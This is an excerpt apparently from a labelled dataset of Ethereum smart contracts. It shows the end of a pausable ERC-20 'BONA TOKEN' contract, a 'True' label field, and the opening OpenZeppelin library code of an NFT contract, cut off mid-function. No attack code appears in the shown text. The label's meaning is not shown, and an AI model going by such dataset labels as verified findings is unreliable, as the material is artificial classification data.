allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BONATOKEN is PausableToken
{
string public constant name = "BONA TOKEN";
string public constant symbol = "BONA";
uint8 public constant decimals = 18;
// 1.4 Billion Total Supply
uint256 public constant INITIAL_SUPPLY = 14e8 * 10**uint256(decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
transferOwnership(owner);
balances[owner] = INITIAL_SUPPLY;
emit Transfer(0x0, owner, INITIAL_SUPPLY);
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-07-27
*/
// SPDX-License-Identifier: MIT
// GO TO LINE 1904 TO SEE WHERE THE PIG CONTRACT STARTS
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
